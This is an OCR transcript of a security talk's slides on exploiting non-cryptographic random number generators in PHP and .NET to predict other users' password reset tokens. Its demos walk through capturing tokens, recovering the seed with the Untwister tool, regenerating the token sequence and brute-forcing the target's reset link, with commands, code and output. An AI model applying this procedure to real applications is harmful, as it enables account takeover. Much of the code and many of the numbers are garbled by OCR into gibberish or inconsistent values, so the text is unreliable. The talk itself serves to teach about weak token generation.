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Not So Random
Exploiting Unsafe Random Number Generator Use
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1. Theory:

= Why?
What's a PRNG?
PRNG Properties
What's a CSPRNG?
CSPRNG vs PRNG

2. Implementation

Talk Overview

4. Demos

a)

b)

= PRNGSs across common languages

3. Exploitation Theory

Not So Random

Brute Force
MIPENEAMIGWNE S GEOL)

Brute Force of Bounded Call
" PHP mt rand(0,61l)

Weak Seeds
= _NET System.Random()




PHASE 1 - THEORY
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Why do we need random numbers?

» Scientific Experiments » Password Reset Tokens
= Gambling » Cryptography
= Session Identifiers » Secret Values
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Random numbers in Web Applications

» Random number generation used for unpredictable tokens
» e.g. Password reset tokens

» Brute force a randomly generated 32 character random token
online?

» 32 Characters of letters + numbers is large...
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Random numbers in Web Applications

...Really large:

>>> characters = string.ascii letters + string.digits
>>> print format (len (characters) **32, " ,d4d")

2,272,657,884,496,751,345,355,241,563,627,544,170,162,85
2,933,518,655,225,856
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Random numbers in Web Applications

Surely if these characters were randomly selected, you'd be
safe?

No one could guess that, right?
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Concept of Randomness

= define: random
= “‘made, done, or happening without method of conscious decision.”
» “odd, unusual, or unexpected.”

» Computers are precise, they execute the exact instructions
they're told to execute

* How can you generate “randomness” from something precise?

Not So Random /ﬁ
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PRNG

= PRNG = Pseudorandom Number Generator

» Generates numbers that are “random” enough for certain
purposes

» Example PRNGs

= Mersenne Twister

= Knuth Subtractive

= \Wichmann-Hlill

» Linear Congruential Generator (LCG)
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random.Random ()

PRNG

Not So Random




print (r.getrandbits (

) )

PRNG

1670686420838320545282
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PRNG

167068642083820545282
3235361473312896985

PIIANNLEY 9 Caand DSy
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print (r.getrandbits (

) )

PRNG

16768642083820545282

SASOSEALNESIAGEINGTES

124529046087411482300
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print (r.getrandbits (

) )

PRNG

16768642083820545282

SASOSEALNESIAGEINGTES

124529046874114382300

Not So Random
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PRNG “Randomness”

* PRNGs generate a sequence of numbers in order

» Sequence Is repeatable; two PRNGs with same internal state
will generate same sequence of numbers

= "Random” enough to pass statistical randomness tests
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PRNG Seeds, States and Periods

1. Seed
» |nitial value used to determine “starting” point of a PRNG,; initial state

2. State

= Current internal properties of the PRNG

. lIi/lakes a PRNG deterministic; next (and previous) values can be determined if state
nown

3. Period

= Length of all the possible outputs from a PRNG before output is repeated
» e.g. Mersenne Twister period of 2419937-1
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PRNG Seeds and States

rl = random.Random ()

Not So Random /ﬁ




PRNG Seeds and States

|

Save state for later

statel = rl.getstate()

/
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PRNG Seeds and States

of al W NN FaNINe (S y ALk On AW

))

1670686420838320545282

Not So Random /ﬁ




PRNG Seeds and States

_ 16768642083820545282

3235361473312896985

pL LAsNEN VGOl eI TF S 0B ]

Not So Random /ﬁ




PRNG Seeds and States

of al W NN FaNINe (S y ALk On AW

))

16768642083820545282

SASOSEALNESIAGEINGTES

124529046087411482300
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PRNG Seeds and States

r2 = random.Random ()
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PRNG Seeds and States

Previous state

T ANSE NSRS N P EE g S

/
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PRNG Seeds and States

DAL LASEANTEOS AT €

))

1670686420838320545282
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PRNG Seeds and States

_ 16768642083820545282

3235361473312896985

BL LA vaolae iR T S A6 ]
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PRNG Seeds and States

167068642083320545282

SASOSEALNESIAGEINGTES

124529046087411482300

--/

DAL LASEANTEOS AT €

))
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PRNG Seeds and States

DAL LASEANTEOS AT €

))

167068642083320545282
SASOSEALNESIAGEINGTES
124529046087411482300

Not So Random

Notice a pattern?

e



PRNG Seeds and States

DAL LASEANTEOS AT €

))

167068642083320545282
SASOSEALNESIAGEINGTES
124529046087411482300

Not So Random

Output from PRNGs
repeats when set to
the same state

e
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What’s a CSPRNG?

= CSPRNG = Cryptographically Secure PRNG

* PRNGs that are suitable for security related functions:
» Cryptographic Keys
= Secret Tokens (e.g. password reset)
= _..etc

» Gather randomness from a variety of sources:
* Timing between interrupts etc

» Example CSPRNGs

" /dev/urandom
" CryptGenRandom
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CSPRNG vs PRNG

1. Non-Deterministic:

= Compromise of CSPRNG state should not compromise previous/future
output

= Pass “Next-Bit” test

= An attacker with knowledge of arbitrary number of bits from a CSPRNG should be
unable to determine following bit (hence “next-bit”)

2. Non-Periodic:
» CSPRNG should not repeat same sequence of bytes

Not So Random /ﬁ



PHASE 2 - IMPLEMENTATION
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Language Examples

Language

Method
System.Random ()

jJava.util.Random ()

mt rand ()

PRNG
Knuth Subtractive
LCG
Mersenne Twister

random.random ()

Not So Random

Mersenne Twister




Internals Glance

Random(int Seed) {
ahinWE. il s
Al RE T70) Tl 5

//Initialize our Seed array.
//This algorithm comes from Numerical Recipes in C (2nd Ed.)

int subtraction = (Seed == Int32.MinValue) ? Int32.MaxValue : Math.Abs (Seed) ;
mj = MSEED - subtraction;

SeedArray[505]=mj;

mk=1;

for (int i=1; i<55; i++) { //Apparently the range [1..55] is special (Knuth) and so we're wasting the 0'th position.

Tl = (2 ke ) 5515675

SeedArray[ii]=mk;

mk = mj - mk;

if (mk<0) mk+=MBIG;

mj=SeedArray[ii];

}
iF@12 SlaL A s =il o N e S M)

e A une Bl % K500 SLa-HY
SeedArray[i] -= SeedArray[l+ (i+30)%55];
if (SeedArray[i]<0) SeedArray[i]+=MBIG;

}

}

inext=0;
inextp = 5
Seed = 1;

Not So Random




Internals Glance

Don’t (always) need to

understand all this math to
exploit!

Not So Random




PHASE 3 — EXPLOITATION THEORY
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Exploitation Theory

» \Want to obtain secret values generated via a PRNG, e.g. password
reset token

= Can observe some output from the PRNG; e.g. own password reset
tokens, other values generated via the same PRNG

= PRNGs are deterministic; if we obtain the internal state of the PRNG,
we can predict future output

= Goal I1s to obtain internal state of the PRNG

Not So Random /ﬁ



Exploitation Theory

2226142575218342490

Not So Random /ﬁ




Exploitation Theory

2226142575218342490

66376067750065263775
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Exploitation Theory

2226142575218342490

66376067750065263775
85279757414771402927

Not So Random




Exploitation Theory

2226142575218342490
66376067750065263775

85279757414771402927
10591080967248290198

Not So Random




Exploitation Theory

2226142575218342490
66376067750065263775

85279757414771402927
10591080967248290198

ERCR AN S A S A S S A S S O Target Password Reset Token

Not So Random




Obtain internal state
from known output

Exploitation Theory

2226142575218342490
66376067750065263775

85279757414771402927
10591080967248290198

Not So Random

arget Password Reset loken




]

Set state on our
own PRNG

Exploitation Theory

2226142575218342490
66376067750065263775
85279757414771402927
10591080967248290198

PPV 777

Known Password Reset Token

Known Password Reset Token
Known Password Reset Token
Known Password Reset Token

Not So Random

Target Password Reset Token




Exploitation Theory

2226142575218342490 Known Password Reset Token

663766775006526375 Known Password Reset Token
8527975741471402927 Known Password Reset Token
10591080967248290198 Known Password Reset Token

10361106109906181364 Target Password Reset Token

Obtain next value

Not So Random




Introducing Untwister

» Tool released from Bishop Fox in 2014
* Implements a number of PRNGs across a number of languages

» Threaded, can exhaust 32 bit seed space MT with default depth
In ~30 minutes on an AWS c4.8xlarge

= Straight forward to extend

Not So Random /ﬁ
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Untwister Brute Force Algorithm 101

1. Set PRNG to use:

untwister->setPRNG (optarqg) ;

Not So Random /ﬁ
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Untwister Brute Force Algorithm 101

1. Set PRNG to use:

untwister->setPRNG (optarqg) ;

2. Get minimum and maximum seed values for PRNG:

lowerBoundSeed = untwister->getMinSeed() ;
upperBoundSeed = untwister->getMaxSeed() ;

Not So Random /ﬁ
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Untwister Brute Force Algorithm 101

3. Determine difference between maximum and minimum seeds, split up work via worker
threads accordingly:

O AW (R NFNIGASTENFIAG #a e ) ¥ el St N ol Flaln 6 S @S ast - SEh ) A
NN PL S RSIA b AN Ei AR BV DO S GRS

POSALRLA AN CaNE Seral CHN BT TE L RN NISAONNSE N A E NS, NS¢
startAt, endAt);

SN (= N B e AL a BN 1O
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Untwister Brute Force Algorithm 101

3. Determine difference between maximum and minimum seeds, split up work via worker
threads accordingly:

O AW (R NFNIGASTENFIAG #a e ) ¥ el St N ol Flaln 6 S @S ast - SEh ) A
NN PL S RSIA b AN Ei AR BV DO S GRS

POSALRLA AN CaNE Seral CHN BT TE L RN NISAONNSE N A E NS, NS¢
startAt, endAt);

SN (= N B e AL a BN 1O
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Untwister Brute Force Algorithm 101

4. For each worker thread, seed a PRNG for each possible seed appropriate for the thread:

(MOACEIZCAYE € e MIdEX LS N Carr tuee € el e dhmeesd X AW o sl
++seedIndex)

{

(N sComp:rared=2doad<Ed dnemeyy ¢ordevirelencetliv)

FEON CRONSV St ey CHie s o URE B CIaad

JERE T ArOI RS S GR N IC e G VRIS
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Untwister Brute Force Algorithm 101

4. For each worker thread, seed a PRNG for each possible seed appropriate for the thread:

(MOACEIZCAYE € e MIdEX LS N Carr tuee € el e dhmeesd X AW o sl
++seedIndex)

{

(N sComp:rared=2doad<Ed dnemeyy ¢ordevirelencetliv)

FEON CRONSV St ey CHie s o URE B CIaad

JERE T ArOI RS S GR N IC e G VRIS
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Untwister Brute Force Algorithm 101

For each PRNG, generate output, checking against your known good input:

WiLEEZ) BT ehOS el d¢ = Oy
N BS A s e TN AT (N T i NN I cetaT

{

N € RN EA e ARG AN G e NS T alir SIGENCSM DGR
UIANCY 0 oo 5e el i oo s'ei e dOUEDULER R eI (ilesabiesEGURNYs

(observed == nextRand)

matchesFound++;
Plehoelne P TUNOFES=NNFOE s erie AUt SEZ SN

// This seed is a winner if we get to the end

o
4

Not So Random




Untwister Brute Force Algorithm 101

For each PRNG, generate output, checking against your known good input:

WiLEEZ) BT ehOS el d¢ = Oy
N BS A s e TN AT (N T i NN I cetaT

{

N € RN EA e ARG AN G e NS T alir SIGENCSM DGR
UIANCY 0 oo 5e el i oo s'ei e dOUEDULER R eI (ilesabiesEGURNYs

(observed == nextRand)

matchesFound++;
Plehoelne P TUNOFES=NNFOE s erie AUt SEZ SN

// This seed is a winner if we get to the end

o
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Untwister Brute Force Algorithm 101

For each PRNG, generate output, checking against your known good input:

WiLEEZ) BT ehOS el d¢ = Oy
N BS A s e TN AT (N T i NN I cetaT

{

N, €N LA e IR AN G e NS T air SNSRI
UIANCY 0 oo 5e el i oo s'ei e dOUEDULER R eI (ilesabiesEGURNYs

(observed == nextRand)

matchesFound++;
Plehoelne P TUNOFES=NNFOE s erie AUt SEZ SN

// This seed is a winner if we get to the end

o
4
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Untwister Brute Force Algorithm 101

/ 16949602868707041309 12506524564675434216

Depth 4228681907780619614

matchesFound == m observedOutputs->size () False

Not So Random /ﬁ
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Untwister Brute Force Algorithm 101

/ 0 [16949602868707041309 12506524564675434216

Depth 4228681907780619614

matchesFound == m observedOutputs->size () False

Not So Random /ﬁ
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Untwister Brute Force Algorithm 101

0 16949602868707041309 12506524564675434216
Depth 1 [12506524564675434216 4228681907780619614

R

matchesFound == m observedOutputs->size () False

Not So Random
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Untwister Brute Force Algorithm 101

0 16949602868707041309 12506524564675434216

Depth 1 12506524564675434216 4228681907780619614
2 237607769106041948

matchesFound == m observedOutputs->size () False

Not So Random




Untwister Brute Force Algorithm 101

16949602868707041309 12506524564675434216

Depth 12506524564675434216 4228681907780619614
237607769106041948

4228681907780619614

|[EEEEON] 2]

matchesFound == m observedOutputs->size () True

Not So Random




Untwister Brute Force Algorithm 101

16949602868707041309 12506524564675434216
Depth 12506524564675434216 4228681907780619614
237607769106041948
4228681907780619614

Target PRNG
matchesFound == m observedOutputs->size () True Seeded W|th 1 2 3 4 5

Not So Random




Untwister Brute Force Algorithm 101

16949602868707041309 12506524564675434216
125065245604675434216 4228681907780019614

237607769106041948
4228681907780619614

Why the gap?

Not So Random




X4

Untwister Brute Force Algorithm 101

16949602868707041309 Another User Password Reset Token

12506524564675434216 Known Password Reset Token
237607769106041948 Another User Password Reset Token
4228681907780619614 Known Password Reset Token

Not So Random




PHASE 4 - DEMOS
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Demos
1. Brute Force 3. Weak Seeds
" PHP mt rand() = NET System.Random ()

2. Brute Force Bounded Call
B P Qs EAEN S i)

Not So Random /ﬁ
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Overview — Brute Force

1. Generate and capture initial password reset tokens

Not So Random /ﬁ
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Overview — Brute Force

1. Generate and capture initial password reset tokens

2. Generate password reset token for target user
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Overview — Brute Force

1. Generate and capture initial password reset tokens
2. Generate password reset token for target user

3. Use captured initial password reset tokens and Untwister to obtain PRNG seed

Not So Random /ﬁ



Overview — Brute Force

Generate and capture initial password reset tokens
Generate password reset token for target user
Use captured initial password reset tokens and Untwister to obtain PRNG seed

Seed new PRNG with obtained seed

Not So Random /ﬁ



Overview — Brute Force

Generate and capture initial password reset tokens

Generate password reset token for target user

Use captured initial password reset tokens and Untwister to obtain PRNG seed
Seed new PRNG with obtained seed

Generate a number of tokens using seeded PRNG

Not So Random /ﬁ



Overview — Brute Force

Generate and capture initial password reset tokens

Generate password reset token for target user

Use captured initial password reset tokens and Untwister to obtain PRNG seed
Seed new PRNG with obtained seed

Generate a number of tokens using seeded PRNG

Attempt tokens against application for collision with target token

Not So Random /ﬁ
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Brute Force - Source

class ResetPassword
{

function GenerateToken ()

W1 EL0 LN

Not So Random
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Brute Force - Source

1 ResetPassword y
({: N5 \ mt rand () object

function GenerateToken () used to generate a
DO 175 80

Not So Random




1. Generate and capture initial password reset tokens

Not So Random /ﬁ



PHP mt rand () - Exploitation

» Recelve email similar to the following:

“To reset your password, please click the following link:
https://example.com/reset/644748169"

» Repeat a few times, and note output:
2. 604629952
NSNS
4. 920134305

Not So Random /ﬁ




2. Generate password reset token for target user

Not So Random /ﬁ
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PHP mt rand () - Exploitation

» Target user will receive email similar to the following:

“To reset your password, please click the following link:
https://example.com/reset/

bh

Not So Random /ﬁ



3. Use captured Initial password reset tokens and
Untwister to obtain PRNG seed

Not So Random /ﬁ
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PHP mt rand () - Exploitation Theory

Obtain internal state
from known output

644748169
604629952

1542177737
920134305

PRPPVVVVVVVVVVV?77272727

Not So Random

Target Password Reset Token




PHP mt rand () Constructor

BRELRNEA Nt By L e 2 Mol By, T e m S NLSRNIL S NT)
{

/* Pull a 32-bit integer from the generator state
Every other access function simply transforms the numbers extracted here */

e Foatise Sy A g
MRE N ML = D N
RhB Mt Are hFaCyUr SRMIN S\
}
F DO L e TN,

sl = *BG(next)++;

S IF AN %

gl = (Sl LKL ) & 3

SIS, (FS TR << ) & 7
(LI e G TS W,

Not So Random



https://github.com/php/php-src/blob/PHP-5.6.27/ext/standard/rand.c

PHP mt rand () - Untwister

WL RS 2 N PETRF 1T 6 SN0 e Aigom, ') >
{ N \ Look familiar?

EEN BTG A e T NI o 20

}

ELNTRON” JCF BLUE AR IO S N g S PO UVLE 2N B My NI T 5}
{
/* Pull a 32-bit integer from the generator state
Every other access function simply transforms the numbers extracted here */

Wl S D S P oMLY,
gl w N S

o e fFiiim Mts Y ovFe 0¥
}

T i

gle'= *m_next)++;

Sl N O T e

SFF AN SN Y% 5 H
BN o =SS ) & H

(N I W ISIN ]

Not So Random




PHP mt rand () - Exploitation

# cat tokens.txt
644748169
604629952
NSV ENNP PSS
920134305
1648525976
656744263
970624517
591850366
1545047849
1100417347

Not So Random /ﬁ




PHP mt rand () - Exploitation

T AN AL SN S I NS S N GRE PP RAB SN /P aiES AL
tokens. txt

Not enough observed values to perform state
inference, try again with more than 624 wvalues.

Looking for seed using php-mt rand
| *] Spawning 2 worker thread(s)
[ *] Completed 1n 0 second(s)
[$S] Found seed 123 with a confidence of 100.00%

Not So Random /ﬁ




4. Seed new PRNG with obtained seed

Not So Random /ﬁ




PHP mt rand () - Exploitation

class ResetPassword

{

function GenerateToken ()
mt rand();

}

Srecovered seed = ;
AN FEldANNPEdoeni e diciocidy iy

(Pl % NGO AN T ) PN
print (ResetPassword: :GenerateToken () . "\n");

Not So Random /ﬁ



PHP mt rand () - Exploitation

class ResetPassword

{

function GenerateToken ()
mt rand();

}

Srecovered seed = ;
AN FEldANNPEdoeni e diciocidy iy

(Pl % NGO AN T ) PN
print (ResetPassword: :GenerateToken () . "\n");

Not So Random /ﬁ



5. Generate a number of tokens using seeded PRNG

Not So Random /ﬁ



PHP mt rand () - Exploitation

# php generateTokens.php
044748169
604629952
HASX NI A SN
920134305
1648525976
6506744263
970624517
591850366
1545047849
1100417347
NSRIND SN,

Not So Random /ﬁ




6. Attempt tokens against application for collision
with target token

Not So Random /ﬁ



PHP mt rand () - Exploitation

Length #
123126970, p. 84558

=

6447481659
604629952
1542177737
920134305
1648525976
656744263
970624517
591850366
1545047849
1100417347
1675096860
2106175083

[ T e I

4
=
&

R |

= Lo i
=

1 e

=
= Ll

Not So Random




PHP mt rand () - Exploitation

“To reset your password, please click the following link:
https://example.com/reset/1231269707"

Not So Random /ﬁ




Exploitation Theory

644748169

604629952
1542177737

920134305

Known Password Reset Token

Known Password Reset Token
Known Password Reset Token
Known Password Reset Token

1231269707

Target Password Reset Token

Obtain next value

Not So Random

e
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Demos
1. Brute Force 3. Weak Seeds
INEHEATINCLaTiay = NET System.Random ()

2. Brute Force Bounded Call
B P QN EAEN NS Ty

Not So Random /ﬁ
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Overview — Brute Force Bounded Call

1. Generate and capture initial password reset tokens

Not So Random /ﬁ
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Overview — Brute Force Bounded Call

1. Generate and capture initial password reset tokens

2. Generate password reset token for target user

Not So Random /ﬁ
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Overview — Brute Force Bounded Call

1. Generate and capture initial password reset tokens
2. Generate password reset token for target user

3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
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Overview — Brute Force Bounded Call

1. Generate and capture initial password reset tokens
2. Generate password reset token for target user
3. Use captured initial password reset tokens and Untwister to obtain PRNG seed

4. Seed new PRNG with obtained seed

Not So Random /ﬁ



X4

Overview — Brute Force Bounded Call

1. Generate and capture initial password reset tokens

2. Generate password reset token for target user

3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
4. Seed new PRNG with obtained seed

5. Generate a number of tokens using seeded PRNG

Not So Random /ﬁ
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Overview — Brute Force Bounded Call

1. Generate and capture initial password reset tokens

2. Generate password reset token for target user

3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
4. Seed new PRNG with obtained seed

5. Generate a number of tokens using seeded PRNG

6. Attempt tokens against application for collision with target token

Not So Random /ﬁ
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Brute Force Bounded Call - Source

class ResetPassword

{

function GenerateToken ()

Stoken length = &

Ssearch space =
'0123456789%abcecdefghijklmnopqrstuvwxyzABCDEFGHIIKLMNOPORSTUVWXYZ . ;

SSe€arah/ spacef i enGEhiSS (stird enN 5SS d rohMsSpaal. s

NEN=I AN

PRSI AL DNGAF L O QRS WEN G ST 358N
STl () S S i MU B O R e e T S UE AT S N
Sehiaracter =" Ssearch space([sindex]
Stokem = \Stoken"+ ‘Scharacter;

e Prolany

Not So Random
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Brute Force Bounded Call - Source

class ResetPassword .
{ mt rand () object
function GenerateToken () used to generate a
{ token

Stoken length = &

Ssearch space =
'0123456789%abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMN@PORSTUVWXYZ' ;

SSearch/ spacef i engehi'e ¢stird enNs5Sea rohXspaacd;

NEN=I AN

PRSI AP DNGAF & O QRS WEN GO 758 Y
Sl (s S iyl i U ST O R e e T S UE A A Y
Sehiaracter =" Sseaxrch space[sindex[;
Stokem = \Stoken"+ ‘Scharacter;

e Prolany

Not So Random




1. Generate and capture initial password reset tokens

Not So Random /ﬁ
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PHP mt rand (0, 61)- Exploitation

» Receive emall similar to the following:

“To reset your password, please click the following link:
https://example.com/reset/KlaQdFbhmQoj67Lbba9gzknkgh
R5jJXwz”

* Repeat a few times, and note output:
2. rrEahOjVbAT7cK4Z2wmGO9KsERVNQS8WMgl 9
3. 97sRz00YI4CfES5JBrb3B9068bXA02Mle
4. mSNJO01lwleM/nbb5o042NjDYcwUtcSyFwdd

Not So Random /ﬁ



2. Generate password reset token for target user

Not So Random /ﬁ
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PHP mt rand (0, 61)- Exploitation

» Target user will receive email similar to the following:

“To reset your password, please click the following link:
https://example.com/reset/

bh

Not So Random /ﬁ




3. Use captured Initial password reset tokens and
Untwister to obtain PRNG seed

Not So Random /ﬁ



Obtain internal state
from known output

Exploitation Theory

KlaQdFbhmQoj67Lbba%9gzknk Known Password Reset Token
ghR5JXwz

rrEahOjVbA7cK4ZwmG9KsERV  Known Password Reset Token
NQ8WMg1l9

97sRz00YI4CfES5JBrb3B9068 Known Password Reset Token
bXAQ2Mle

mSNjOlwloM7nb5042NjDYcwlU Known Password Reset Token
tcSyFwdd

O O O O O O O A A N S A Target Password Reset Token

Not So Random
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PHP mt rand (0, 61)- Exploitation

= [N this case, tokens are encoded characters

= Decode back to raw numbers first

Not So Random /ﬁ




PHP mt rand (0, 61)- Decoder

#!/usr/bin/python

A DI W ydeCRBei ORI
characters
"0123456789%abcdefghijklmnopgrstuvwxyzABCDEFGHI JKLMNOPQRSTUVWXYZ"

raw N
character

CGHAF2OIeE YL Ndex
raw.append (character index)

raw

token:
characters.index (character)

name L AN O
i WY A BN FUEN, € B sl S mnal N OIERNEONI S Todic LW\
FokemYe o e O At aicE)

token =
dGetcdy @it

e € o0l GINGOKERY,

(character)

character

Not So Random
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PHP mt rand (0, 61)- Exploitation

# python decoder.py
[*] Please enter token to decode: KlaQdFbhmQoj67Lbba9gzknkghR5jXwz
46

1

10

of %

8

41

11

i

Dol

2,

24

Fs

6
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X4

PHP mt rand (0, 61)- Exploitation

# python decoder.py
[*] Please enter token to decode: KlaQdFbhmQoj67Lbba9gzknkghR5jXwz
46
1

10
of %
13 Untwister PRNG

41

INNPANS LSS AN OUtpUt needs to
17 match

Y.
A
24
rs
6

Not So Random /ﬁ
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PHP Bounded mt rand () Constructor

RITCA P UNE I OMNILY Aevel)
{

10 Giile SArg® =< W LD M) (O o, Nle el pOfCILS NIV, SW @ & 2 W)
EBGELASTINE IS
RAND' RANGE (number, min, ‘max, PHE MT, RAND MAX);
}

RETURN_ LONG (number) ;

Not So Random
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PHP Bounded mt rand () Constructor

RITCA P UNE I OMNILY Aevel)
{

10 Giile SArg® =< W LD M) (O o, Nle el pOfCILS NIV, SW @ & 2 W)
EBGELSIN IS
RAND RANGE (number, min, max, PHP MT RAND MAX);
}

RETURN_ LONG (number) ;

#define REND ARRNCEAS I AN ) oty S Wi Tiarg)
YO A O LN W (G018 1E WV (O TE W Tl s o O 1 ) N &
(N RN AL N 5 W

Not So Random



https://github.com/php/php-src/blob/PHP-5.6.27/ext/standard/rand.c
https://github.com/php/php-src/blob/PHP-5.6.27/ext/standard/php_rand.h

X4

PHP Bounded mt rand () — Patched Untwister

NN E NN BT R NI SIS P te o Ml o T
{

L L2 Y ieve U N YOIE i e Sl 1L 30 (vt ) L5

.
4

G e Beoundat)f

CESTUIL A SO P, 08 ML DIE G0l a I, §LA L0 O ANIUSLTON € W (N (U.SITOI € W as(Ti, 10 aTE0 QIdl) NG
(m_minBound) + WP 7 ANAS N AN N ))))
}
EESLIN By,

}

KONy RN AL C S5Y S ATGICE o QN E WINDICS 288 TSl JOF L S S ey
{

m minBound
m maxBound
m isBounded =

Not So Random
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PHP Bounded mt rand () — Patched Untwister

NN E NN BT R NI SIS P te o Ml o T
{

L L2 Y ieve U N YOIE i e Sl 1L 30 (vt ) L5

.
4

(ALY 1E Boundedy M

CESTUIL A SO P, 08 ML DIE G0l a I, §LA L0 O ANIUSLTON € W (N (U.SITOI € W as(Ti, 10 aTE0 QIdl) NG
(m_minBound) + WP 7 ANAS N AN N ))) )
}
EESLIN By,

}

KONy RN AL C S5Y S ATGICE o QN E WINDICS 288 TSl JOF L S S ey
{

m minBound
m maxBound
m isBounded =

Not So Random
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PHP mt rand (0, 61)- Exploitation

# cat tokens.txt
46
il
10
52
145
41
N
i
7Y
52

Not So Random /ﬁ
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PHP mt rand (0, 61)- Exploitation

T AN A SN S I NS S N R E PP RAB SN /P aiES AL
tokens.txt |-m 0 —-M 61

Untwister called
with bounded
arguments

Not So Random /ﬁ




X4

PHP mt rand (0, 61)- Exploitation

T AN AL SN S I NS S N GRE PP RAB SN /P aiES AL
tOREDIS HOXE COANSSI 67

Skipping 1nference attack...
LOORNNAESP /OIS S CINT SN G ORI N @,
[ *] Spawning 2 worker thread(s)
| *] Completed in 0 second(s)
[$S] Found seed 456 with a confidence of 100.00%

Not So Random /ﬁ




4. Seed new PRNG with obtained seed

Not So Random /ﬁ
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PHP mt rand (0, 61)- Exploitation

<?php
class ResetPassword

{

function GenerateToken ()

}

SR e e e e e
VAN ERcCC OV seed)

NI NS NG O AR SOD
print (ResetPassword: :GenerateToken () . "\n");

Not So Random /ﬁ
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PHP mt rand (0, 61)- Exploitation

<?php
class ResetPassword

{

function GenerateToken ()

}

SR e e e e e
VAN ERcCC OV seed)

NI NS NG O AR SOD
print (ResetPassword: :GenerateToken () . "\n");

Not So Random /ﬁ



5. Generate a number of tokens using seeded PRNG

Not So Random /ﬁ
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PHP mt rand (0, 61)- Exploitation

# php generateTokens.php

KlaQdFbhmQoj67Lbba%gzknkghR5]Xwz
rrEahOjVbA7cK4ZwmGO9KsERVNQ8WMgl9
97sRz00YI4CfES5IBrb3B9068bXA02M1e
mSNJOlwloM/nb5042NjDYcwUtcSyFwdd
7G50vvPdum2SnAAUKRPS5kKkCK1hBfRRMnNr
hwt 01o0LOUHsvGOJIJSmXS8NFrw/UA1Ww80
ZJN771EBYpD87gagLQghkMfmUlzJotSZz
XZ65H5T6VEY3LkjwAxzJHNn1d07£02ghi
3wp]8t5abDdv3tQCFdddsrxoxHFdthvQQ

Not So Random /ﬁ




6. Attempt tokens against application for collision
with target token

Not So Random /ﬁ



PHP mt rand (0, 61)- Exploitation

Filter: Showing all items

Request Payload Status Error Timeout | Length ¥ | Comment
IwpjBtsabw3tQCFRdd)srxox. .. 34606

kKlaQdFbhmQoj67Lbbag
rrEahOjVbAT ck4 ZwmG!

I_:_|
0
1

o own

o |

-]
=

Not So Random
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PHP mt rand (0, 61)- Exploitation

“To reset your password, please click the following link:
https://example.com/reset/3wpj8t5aDIv3tQCFddJIsrxoxHFdthv

QQ"

Not So Random



Obtain next value

Exploitation Theory

KlaQdFbhmQoj67Lbba%9gzknk Known Password Reset Token
ghR5JXwz

rrEahOjVbA7cK4ZwmG9KsERV  Known Password Reset Token
NQ8WMg1l9

97sRz00YI4CfES5JBrb3B9068 Known Password Reset Token
bXAQ2Mle

mSNjOlwloM7nb5042NjDYcwlU Known Password Reset Token
tcSyFwJd

3wpj8t5aDJv3tQCFddJsrxox Target Password Reset Token
HFdthvQQ

Not So Random
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Demos
1. Brute Force 3. Weak Seeds
" PHP mt rand() = NET System.Random ()

2. Brute Force Bounded Call
B P Qs EAEN S i)

Not So Random /ﬁ
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Overview — Weak Seeds

1. Generate and capture initial password reset token

Not So Random /ﬁ
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Overview — Weak Seeds

1. Generate and capture initial password reset token

2. Generate password reset token for target user

Not So Random /ﬁ




Overview — Weak Seeds

Generate and capture initial password reset token
Generate password reset token for target user

Use captured initial password reset token and Untwister to obtain
PRNG seed

Not So Random /ﬁ



Overview — Weak Seeds

Generate and capture initial password reset token
Generate password reset token for target user

Use captured initial password reset token and Untwister to obtain
PRNG seed

: tS?(ed new PRNGs with possible seeds since first seed, generate
okens

Not So Random /ﬁ



Overview — Weak Seeds

Generate and capture initial password reset token
Generate password reset token for target user

Use captured initial password reset token and Untwister to obtain
PRNG seed

: tS?(ed new PRNGs with possible seeds since first seed, generate
okens

. Attempt tokens against application for collision with target token

Not So Random /ﬁ



Weak Seeds - Source

class ResetPassword
string GenerateToken ()

Random rnd = Random () ;

const int tokenLength = ;

QOISLY Sl GG sl =
"012345678%abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ;

S wAGELHL G aANST Y— StringBuilder () ;
WY G SN AN G (SNTOCE D e e e A NN o o )
{
Sl eDengd felhare e wifial Wotds(d el SieiF ATwanNENA IS N5

S\Ow T ST 2N YTy,

Not So Random




Weak Seeds - Source

class ResetPassword )
Random () object used

string GenerateTc‘)W to generate a token
{

Random rnd = Random () ;

CONISIEI N ADORSRI SN TR R ;

QOISLY Sl GG sl =
"012345678%abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ;

S wAGELH L G aANST Y~ StringBuilder () ;
WY G SN AN CE P (SNHOE Dl & ' e AN TS
{
SN eDeng felhare e wirfgl Wokd (el SieiF aATwanNENA S TN

S\Ow TGS T aMc Y N,

Not So Random
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NET System.Random () Constructor

Random ()
(Eay7 W FONMERGEL AT € 10C S Bt

Not So Random /ﬁ
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NET System.Random () Constructor

Random ()
(Ea7 W FONMERGEL AT € 10C © bt M

**Action: Gets the number of ticks since the system was started.
RS Y WN.B N SE Ff NEY G RANCS S N TN M TIE S, S5 S B SIS\ e R 64
**Arguments: None

**Exceptions: None

Rubl @ NSEatel@ e ¥ n WM TR OuEr

Not So Random



https://referencesource.microsoft.com/#mscorlib/system/random.cs,52
https://referencesource.microsoft.com/#mscorlib/system/environment.cs,265

1. Generate and capture initial password reset token

Not So Random /ﬁ
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NET System.Random () - Exploitation

“To reset your password, please click the following link:
https://example.com/reset/g2COMOWu3NnGgljSFg734wE
TtlaBLedPs”

Not So Random /ﬁ



2. Generate password reset token for target user

Not So Random /ﬁ
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NET System.Random () - Exploitation

» Target user will receive email similar to the following:

“To reset your password, please click the following link:
https://example.com/reset/

bh

Not So Random /ﬁ




3. Use captured initial password reset token and
Untwister to obtain PRNG seed

Not So Random /ﬁ



Exploitation Theory

g2COMO9Wu3nGgl JSFg734wFTt

1laBLedPs

Obtain seed from
kKnown output

PPV DVVVVPVVVVV277777

Not So Random

Target Password Reset Token




Exploitation Theory

g2COMO9Wu3nGgl JSFg734wFTt
1aBLedPs

PPV DVVVVPVVVVV277777

Target Password Reset Token

Obtain seed from
kKnown output

Not So Random
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System.Random () Constructor

= NET Is now open source!

100 private int InternalSample() {

101 int retval;

02 int loc X
int loc

105 if (++locINext ==56]
106 if (++locINextp== 56) loc

SeedArray [ locINext]-SeedArray [ locINextp];

if (retval == MBIG) retval--;
if (retval<0) retval+=MBIG,

SeedArray[locINext]=retval;

inext = locI
inextp = loc

return retval:

Not So Random




